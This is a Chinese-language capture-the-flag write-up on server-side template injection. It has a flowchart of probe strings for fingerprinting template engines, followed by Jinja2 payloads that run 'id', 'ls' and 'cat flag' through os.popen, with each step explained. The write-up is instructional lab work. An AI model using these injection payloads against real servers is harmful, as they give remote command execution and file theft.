What is SSIT(Server-Side Template Injection)?
SSTI(Server-Side Template Injection,伺服器端模板注入)是一種網頁應用程式的安全漏洞。有些網頁框架常使用模板引擎(如 Jinja2、Twig、Freemarker 等)來動態產生 HTML。模板引擎允許在 HTML 中嵌入變數與邏輯。利用SSTI 漏洞可以進行以下攻擊
- 讀取伺服器上的敏感檔案(如設定檔、密碼)
- 遠端程式碼執行(RCE)
- 獲取環境變數存取資料庫等
SSIT檢測
graph LR
%% 節點定義
Start([SSIT測試]) --> P1["${7*7}"]
%% 第一大分支:以 $ 開頭
P1 -- "得到 49" --> P2["a{*comment*}b"]
P2 -- "得到 ab" --> E1["Smarty (PHP)"]
P2 -- "原樣輸出" --> P3["${'z'.join('ab')}"]
P3 -- "得到 azb" --> E2["Mako (Python)"]
P3 -- "報錯/原樣" --> E3["Java / JSTL"]
%% 第二大分支:以 {{ 開頭
P1 -- "原樣輸出" --> P4["{{7*7}}"]
P4 -- "得到 49" --> P5["{{7*'7'}}"]
%% Jinja2 與 Twig 的區分
P5 -- "得到 7777777" --> E4["Jinja2 (Python)"]
P5 -- "得到 49" --> E5["Twig (PHP)"]
P5 -- "報錯" --> E6["其他 Python 引擎"]
%% 第三大分支:其他標籤
P4 -- "原樣輸出" --> P6["<%= 7*7 %>"]
P6 -- "得到 49" --> E7["ERB (Ruby)"]
P6 -- "原樣輸出" --> End["未發現漏洞 / 未知"]
%% 樣式美化 (讓它更像截圖中的色塊)
style Start fill:#3498db,color:#fff,stroke-width:0px
style P1 fill:#3498db,color:#fff,stroke-width:0px
style P2 fill:#3498db,color:#fff,stroke-width:0px
style P3 fill:#3498db,color:#fff,stroke-width:0px
style P4 fill:#3498db,color:#fff,stroke-width:0px
style P5 fill:#3498db,color:#fff,stroke-width:0px
style P6 fill:#3498db,color:#fff,stroke-width:0px
style E1 fill:#2ecc71,color:#fff,stroke-width:0px
style E2 fill:#2ecc71,color:#fff,stroke-width:0px
style E3 fill:#2ecc71,color:#fff,stroke-width:0px
style E4 fill:#2ecc71,color:#fff,stroke-width:0px
style E5 fill:#2ecc71,color:#fff,stroke-width:0px
style E7 fill:#2ecc71,color:#fff,stroke-width:0px
style End fill:#e74c3c,color:#fff,stroke-width:0px
解題
檢測
打開題目網頁
對其進行SSIT漏洞測試,發現該網站使用的是jinja2(python)的腳本引擎

對其進行模板注入
獲取該使用者帳號id
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

- request — Jinja2 模板中預設可存取的 Flask request 物件,代表當前的 HTTP 請求。
- .application — 從 request 取得 Flask 應用程式實例(即 Flask app 物件)。
- .globals — 存取該應用程式物件所屬函式的全域變數字典。這是 Python 函式物件的內建屬性,包含了該模組作用域中所有的全域名稱。
- .builtins — 從全域變數字典中取得 Python 的內建函式集合,包含 print、open、import 等核心函式。
- .import(‘os’) — 呼叫內建的 import 函式來動態載入 os 模組。這是關鍵的一步,因為 os 模組提供了與作業系統互動的能力。
- .popen(‘id’) — 呼叫 os.popen(),在伺服器上開啟一個子行程執行系統指令 id(Linux/Unix 指令,回傳當前使用者的 UID、GID 等資訊)。
- .read() — 讀取指令的輸出結果,讓它顯示在網頁回應中。
查看目錄
{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}
查看flag
{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}

提交flag



說些什麼吧!